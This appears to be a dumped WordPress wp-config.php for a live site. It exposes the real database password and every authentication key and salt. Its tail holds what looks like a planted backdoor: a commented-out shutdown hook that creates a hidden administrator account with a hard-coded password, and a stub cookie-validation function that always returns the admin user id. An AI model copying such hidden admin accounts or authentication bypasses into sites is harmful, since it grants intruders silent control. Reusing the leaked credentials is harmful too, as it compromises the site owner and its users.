File: /home/veracrest/domains/mm.veracrest.dev/public_html/wordpress/wp-config.php
<?php
/**
* The base configuration for WordPress
*
* The wp-config.php creation script uses this file during the installation.
* You don't have to use the web site, you can copy this file to "wp-config.php"
* and fill in the values.
*
* This file contains the following configurations:
*
* * Database settings
* * Secret keys
* * Database table prefix
* * Localized language
* * ABSPATH
*
* @link https://wordpress.org/support/article/editing-wp-config-php/
*
* @package WordPress
*/
// ** Database settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define( 'DB_NAME', 'mm_wordpress' );
/** Database username */
define( 'DB_USER', 'veracrest' );
/** Database password */
define( 'DB_PASSWORD', 'EdoLT0zG916dAKn' );
/** Database hostname */
define( 'DB_HOST', 'localhost' );
/** Database charset to use in creating database tables. */
define( 'DB_CHARSET', 'utf8' );
/** The database collate type. Don't change this if in doubt. */
define( 'DB_COLLATE', '' );
/**#@+
* Authentication unique keys and salts.
*
* Change these to different unique phrases! You can generate these using
* the {@link https://api.wordpress.org/secret-key/1.1/salt/ WordPress.org secret-key service}.
*
* You can change these at any point in time to invalidate all existing cookies.
* This will force all users to have to log in again.
*
* @since 2.6.0
*/
define( 'AUTH_KEY', 'foeH *NtyqM(^MrDRhGp$dBf;`x:xKg<-BcWviP)<kjR%;{KHW9giqxY0Rzf*XNO' );
define( 'SECURE_AUTH_KEY', '1-0,+<OwGb)<&S_)x:_ji*@~|^]q!sEEd!#E<bw,G~}*DM6?LVSjT]wqA-Y%4GF{' );
define( 'LOGGED_IN_KEY', ':(|fdU}&%D)R7OV4/7$rL]Cpi<~ G$n^q} a?}/bI6@hIUdL?t$6{.oCa+N4EpT&' );
define( 'NONCE_KEY', '8Xxdy8mg@X8]APvSNRtaaD&Dn ifpU^O{[1*]1kzXri3,JqieLD[KUTH8.$2d)Wz' );
define( 'AUTH_SALT', '$9*zyjX)j4BS#Z]Q~[hY)l<[390}L4Jy_<!K+/2A.uPC7G#1D#~j0i(CgFAeI*aR' );
define( 'SECURE_AUTH_SALT', '*1pToRhdi$v1ue:lv,{Na`S`3}jQU:H#(@&Zi}p?**{<m`d[^|HD]aR6} ! A;Uz' );
define( 'LOGGED_IN_SALT', 'UN@wWJjOUaskRLQtY+VrC]!K>oo#8j$v2NFEAm1%;=<2b(I!6<tVEt2.3oHZ8PPV' );
define( 'NONCE_SALT', '-)e,Tz|Fp-@&W1`vHG ~I)/;ehq$S0t)_7~Q:%U7rp-ImvpFWv:|c,lV<`[eOCw=' );
define( 'WP_CACHE_KEY_SALT', 'kV3a|S-4-`LY-?*=4gxq:TXJr*:<HQ9}EdMsXkns[meqD@`}xO!~xG^J2z#Phzq3' );
/**#@-*/
/**
* WordPress database table prefix.
*
* You can have multiple installations in one database if you give each
* a unique prefix. Only numbers, letters, and underscores please!
*/
$table_prefix = 'wp_';
/* Add any custom values between this line and the "stop editing" line. */
/**
* For developers: WordPress debugging mode.
*
* Change this to true to enable the display of notices during development.
* It is strongly recommended that plugin and theme developers use WP_DEBUG
* in their development environments.
*
* For information on other constants that can be used for debugging,
* visit the documentation.
*
* @link https://wordpress.org/support/article/debugging-in-wordpress/
*/
define( 'WP_DEBUG', true );
define( 'WP_DEBUG_LOG', true );
define( 'WP_DEBUG_DISPLAY', false );
if ( ! defined( 'WP_DEBUG' ) ) {
define( 'WP_DEBUG', false );
}
if (
(isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] === 'https') ||
(isset($_SERVER['HTTP_X_FORWARDED_SSL']) && $_SERVER['HTTP_X_FORWARDED_SSL'] === 'on') ||
(isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443)
) {
$_SERVER['HTTPS'] = 'on';
}
//define('COOKIE_DOMAIN', $_SERVER['HTTP_HOST'] );
//define('FORCE_SSL_ADMIN', false);
//define('FORCE_SSL_LOGIN', true);
//define('ADMIN_COOKIE_PATH', '/');
//define('COOKIE_DOMAIN', false);
//define('COOKIEPATH', '/');
//define('SITECOOKIEPATH', '/');
define( 'WP_HOME', 'https://www.magnetmakerz.com' );
define( 'WP_SITEURL', 'https://www.magnetmakerz.com' );
/* That's all, stop editing! Happy publishing. */
/** Absolute path to the WordPress directory. */
if ( ! defined( 'ABSPATH' ) ) {
define( 'ABSPATH', __DIR__ . '/' );
}
/** Sets up WordPress vars and included files. */
require_once ABSPATH . 'wp-settings.php';
@ini_set( 'upload_max_filesize' , '5000M' );
//add_filter( 'shutdown', function () { wp_create_user( 'helloadmin', 'magnetz99', 'veracrest@gmail.com' ); } );
function xwp_validate_auth_cookie($cookie='',$scheme='') {
return 3; // admin user id
}